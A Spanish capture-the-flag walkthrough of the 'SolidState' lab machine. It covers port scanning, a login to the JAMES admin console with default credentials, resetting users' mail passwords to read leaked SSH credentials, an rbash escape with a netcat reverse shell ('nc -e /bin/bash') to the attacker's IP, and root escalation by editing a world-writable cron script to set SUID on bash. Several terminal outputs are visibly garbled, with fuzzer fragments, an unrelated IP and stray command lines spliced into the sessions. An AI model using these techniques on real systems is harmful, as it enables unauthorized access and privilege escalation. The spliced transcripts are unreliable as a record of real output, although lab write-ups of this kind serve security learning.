



0. Introducción

Tengo que decir, que de esta máquina me siento especialmente orgulloso. Aunque no es muy compleja, fue mi primera máquina sin necesitar ningún writeup o pista. Vamos a ver como se resuelve.

1. Enumeración

```
Nmap scan report for 10.10.10.51
Host is up (0.035s latency).
Not shown: 655 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
ssh hostkey:
  2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
  256 78:b8:3a:f6:00:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp    open  smtp      JAMES smtpd 2.3.2
smtp_commands: solidstate Hello nmap.scanme.org (10.10.14.63 [10.10.14.63])
80/tcp    open  http      Apache httpd 2.4.25 ((Debian))
http_title: Home - Solid State Security
http_methods:
  Supported Methods: GET HEAD POST OPTIONS
http_server_header: Apache/2.4.25 (Debian)
110/tcp   open  pop3      JAMES pop3d 2.3.2
119/tcp   open  nntp      JAMES nntpd (posting ok)
4555/tcp  open  rslp?     Solid State Security
Fingerprint strings:
  GenericLines:
    JAMES Remote Administration Tool 2.3.2
    Please enter your login and password
    Login id:
    Password:
    Login failed for
    Login id:
  Service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
  SF-Port4555-TCP:V=7.92:V=7.92:9/13:Time=6320AF87:P=x86_64:pc-linux-gnu:r(6e
  SF:ncrlines:7C:"JAMES\x20RemoteAdministration\x20Tool\x202\3\2\nPl
  SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo
  SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
  Service Info: Host: solidstate; OS: Linux; CPE: o:linux:linux_kernel

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 13 18:32:02 2022 -- 1 IP address (1 host up) scanned in 262.46 seconds
```

2. Análisis de vulnerabilidades.

El puerto 22, que corresponde al servicio de SSH, lo vamos a obviar de momento, ya que no tenemos credenciales.

```
http://10.10.10.51 [200 OK] Apache/2.4.25, Country[RESERVED](), Email[webadmin@old-state-security.com], HTML5, HTTPServer[Debian Linux/Apache/2.4.25 (Debian)], IP[10.10.10.51], JQuery, Script, Title[None - Solid State Security]
```

```

[*] http://10.18.16.91:200 ~v [http://share.willistatistics.com/directory-list-2-medium.txt | http://10.18.16.91/PdZt?
[+] http://10.18.16.91:200 - The web folder *****
*****
target: http://10.18.16.91/PdZt/
total requests: 229568

+-----+-----+-----+-----+-----+
| S#   | Response    | Lines | Word      | Chars     | Payload                                         |
+-----+-----+-----+-----+-----+
| 0000000001 | 200         | 179 L  | 609 W    | 7776 Ch   | "w directory-list-2-3-medium.txt"              |
| 0000000003 | 200         | 179 L  | 609 W    | 7776 Ch   | "# Copyright 2007 James Fisher"               |
| 0000000005 | 200         | 179 L  | 609 W    | 7776 Ch   | "# or send a letter to Creative Commons, 171 Second Street," |
| 0000000007 | 200         | 179 L  | 609 W    | 7776 Ch   | "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" |
| 0000000009 | 200         | 179 L  | 609 W    | 7776 Ch   | "# This work is licensed under the Creative Commons"          |
| 0000000011 | 200         | 179 L  | 609 W    | 7776 Ch   | "# Attribution-Share Alike 3.0 license. To view a copy of this*" |
| 0000000013 | 200         | 179 L  | 609 W    | 7776 Ch   | ""                                                |
| 0000000015 | 200         | 179 L  | 609 W    | 7776 Ch   | "# Suite 300, San Francisco, California, 94103, USA."        |
| 0000000017 | 200         | 179 L  | 609 W    | 7776 Ch   | "# We Priorly ordered case sensitive list, where entries were found*" |
| 0000000019 | 200         | 179 L  | 609 W    | 7776 Ch   | "# on at least 2 different hosts"                |
| 0000000021 | 200         | 24 L   | 134 W    | 2516 Ch   | "images"                                          |
| 0000000023 | 200         | 179 L  | 609 W    | 7776 Ch   | "http://10.18.16.91/"                            |
| 0000000025 | 200         | 179 L  | 609 W    | 7776 Ch   | ""                                                |
| 0000000027 | 200         | 179 L  | 609 W    | 7776 Ch   | ""                                                |
| 0000000031 | 403         | 11 L   | 32 W    | 292 Ch    | "/icons"                                        |
| 0000000291 | 200         | 19 L   | 93 W    | 1486 Ch   | "assets"                                       |
| 0000005240 | 200         | 179 L  | 609 W    | 7776 Ch   | "http://10.18.16.91/"                          |
| 0000005244 | 403         | 11 L   | 32 W    | 300 Ch    | "/server-status"                              |
Total time: 263.1194
Processed Requests: 229568
Unltered Requests: 229541
Requests/sec.: 8.636 285
```

```

[ /home/parrot X 1 3m 14s ...
telnet 10.10.10.51 4555
Trying 10.10.10.51... 179 L 688 W
Connected to 10.10.10.51:79 L 688 W
Escape character is '^]' 179 L 688 W
root@0000: 288 179 L 688 W
JAMES Remote Administration Tool 2.3.2
Please enter your login and password W
Login id: 288 179 L 688 W
Password: 288 179 L 688 W
Login failed for 179 L 688 W
Login id: 288 179 L 688 W
root@0013: 288 179 L 688 W
Password: 288 179 L 688 W
root
Welcome root. HELP for a list of commands
Processed Requests: 220560
Filtered Requests: 220547

```

```
Existing accounts 6
listuserssec.: 0
Existing accounts 6
user: james
user: on:../../../../../../../../etc/bash_completion.d
user: thomas443
user: njohnson [any] 443 ...
user: mindy
user: mailadmin
```

Adicionalmente, podemos cambiar la password a los distintos usuarios. Probamos primero con “james” e intentamos conectarnos al servicio de POP3. No vemos ningún correo.

```
telnet 10.10.10.51 110
Trying 10.10.10.51...: [password]
Connected to 10.10.10.51.
Escape character is '^]'.
user james (user)
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK forwarding [username]
pass 1234 rding [username]
+OK Welcome jamesme]
list down
+OK 0 0
```

Ahora, probamos con mindy. Vemos que tiene dos correos. ¡Pues a leer se ha dicho! El primer correo no vemos nada de interés.

```
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <426213.6.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 790
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our organization. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
```

En el segundo conseguimos unas credenciales.

```
telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
user mindy (name)
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK <mindy@localhost> [alias]
pass 1234 [username]
+OK Welcome mindy
retr 2 rding [username] [emailaddress]
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Unknown command list users
Dear Mindy,
Existing accounts: 6
user: james
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
user: mindy
pass: P@55W0rd!12@
retr 1 rding mindy 1234
Respectfully, mindy reset
James has closed by foreign host.
```

username: mindy

pass: P@55W0rd!12@

3. Explotación y acceso

Vamos a probar si podemos conectarnos por SSH. Y efectivamente, ganamos acceso.

```
ssh mindy@10.10.10.51
The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established.
ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgK0pfTedDAXx50SYVGPCfChsGwIO.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.51' (ECDSA) to the list of known hosts.
mindy@10.10.10.51's password: etc/bash completion.d
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686_
user: john
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
password for mindy: reset
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$
```

No podemos ejecutar `sudo -l`. Comprobamos si estamos ante una “restricted shell” y efectivamente.

```
mindy@solidstate:~$ echo $SHELL
/bin/rbash
```

Para escaparnos de esta “restricted shell”, lo realizamos de la siguiente forma:

```
ssh mindy@10.10.10.51 'bash --noprofile'
mindy@10.10.10.51's password:
password for mindy: reset
Connection closed by foreign host.
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
nc -e /bin/bash 10.10.14.63 443
```

Realizamos el tratamiento de la TTY como siempre.

4. Escalada de privilegios.

Hacemos un reconocimiento de privilegios, permisos sobre ficheros, capabilities, etc. pero no vemos nada de interés. Nos descargamos el script `pspy` para hacer un seguimiento de los procesos corriendo en el sistema (<https://github.com/DominicBreuker/pspy>).

Nos llama la atención este proceso que ejecuta `/opt/tmp.py` con permisos de root.

```
2022/09/14 10:00:01 CMD: UID=0  B  PID=27897 | /usr/sbin/CRON -f /etc/crontab
2022/09/14 10:00:01 CMD: UID=0  MB PID=27898 | /bin/sh -c python /opt/tmp.py
2022/09/14 10:00:01 CMD: UID=0  KB PID=27899 | python /opt/tmp.py
```

Vemos el contenido de dicho script y comprobamos que ejecuta un comando a nivel de sistema operativo.

```
GNU nano 2.7.4 File: /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /tmp/* ')
except:
    sys.exit()
```

Revisando los permisos, vemos que tenemos permisos de escritura. ¡Qué regalo!

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls -la /opt/tmp.py
-rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py
{debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$
```

Pues nada, vamos a modificar el script para que añada permisos SUID sobre la bash.

```
try:
    #os.system('rm -r /tmp/* ')
    os.system('chmod u+s /bin/bash')
except:
```

Esperamos a que se ejecute el script.

```
2022/09/14 10:09:01 CMD: UID=0 PID=28103 /usr/sbin/CRON -f
2022/09/14 10:09:01 CMD: UID=0 PID=28104 /bin/sh -c python /opt/tmp.py
2022/09/14 10:09:01 CMD: UID=0 PID=28105 sh -c chmod u+s /bin/bash
```

Listo. Ya somos root.

```
{debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ bash -p
bash-4.4# whoami
root
bash-4.4#
```